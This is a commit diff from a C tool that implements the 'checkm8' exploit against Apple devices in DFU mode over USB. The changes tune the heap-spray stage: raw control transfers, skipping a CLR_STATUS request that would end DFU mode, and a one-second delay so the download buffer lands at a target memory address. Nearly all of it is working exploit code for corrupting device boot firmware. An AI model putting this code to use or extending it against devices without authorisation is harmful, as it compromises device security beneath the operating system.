Sync worktree updates into main repo folder

This commit is contained in:
Apocrypha12 2026-08-01 17:06:56 -08:00
parent bc1a502c1d
commit c4d2b5d9d1
21 changed files with 1565 additions and 347 deletions

View file

@ -6,6 +6,7 @@
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "exploit/exploit.h"
#include "exploit/checkm8.h"
@ -36,8 +37,8 @@ int checkm8_usb_request_stall(libusb_device_handle *usb)
{
int ret;
ret = usb_ctrl_transfer_no_data(usb, 0x02, 0x03, 0, 0x80,
USB_TIMEOUT_MS);
ret = usb_ctrl_transfer_no_data_raw(usb, 0x02, 0x03, 0, 0x80,
USB_TIMEOUT_MS);
/* PIPE error means STALL -- that is success */
return (ret == LIBUSB_ERROR_PIPE) ? 1 : 0;
@ -251,15 +252,20 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
}
}
/* Final: DFU_CLR_STATUS with (3*EP0_MAX_PACKET_SZ + 1) bytes */
{
/* Final: DFU_CLR_STATUS with (3*EP0_MAX_PACKET_SZ + 1) bytes.
* Skip if stage 2 already got DFU to dfuIDLE via DFU_ABORT
* (usbipd path): CLR_STATUS from dfuIDLE causes Apple DFU to
* exit DFU mode, which would break the exploit. */
if (!ctx->skip_clrstatus) {
uint16_t clr_len = 3 * EP0_MAX_PACKET_SZ + 1;
uint8_t *clr_buf = calloc(1, clr_len);
if (clr_buf) {
usb_ctrl_transfer(usb, 0x21, DFU_REQ_CLRSTATUS,
0, 0, clr_buf, clr_len, USB_TIMEOUT_MS);
usb_ctrl_transfer_raw(usb, 0x21, DFU_REQ_CLRSTATUS,
0, 0, clr_buf, clr_len, USB_TIMEOUT_MS);
free(clr_buf);
}
} else {
log_info("[DFU] stage 3: skip CLR_STATUS (DFU already in dfuIDLE)");
}
} else {
/*
@ -280,6 +286,19 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
dfu_clr_status(usb);
}
/*
* On usbipd-win, GET_DESCRIPTOR spray requests are sent with
* very short timeouts (1ms). The device allocates response
* buffers that are only freed after its own internal USB timeout
* fires (~50-200ms per buffer). If stage 4 starts immediately,
* those buffers still occupy the heap and the DFU_DNLOAD
* io_buffer cannot land at insecure_memory_base.
*
* Wait 1 second to ensure all spray buffers are freed by the
* device before stage 4's DFU_DNLOAD allocation.
*/
usleep(1000000); /* 1 s */
ctx->phase = EXPLOIT_PHASE_SPRAY;
log_info("checkm8: stage 3 complete -- heap spray done");
return 0;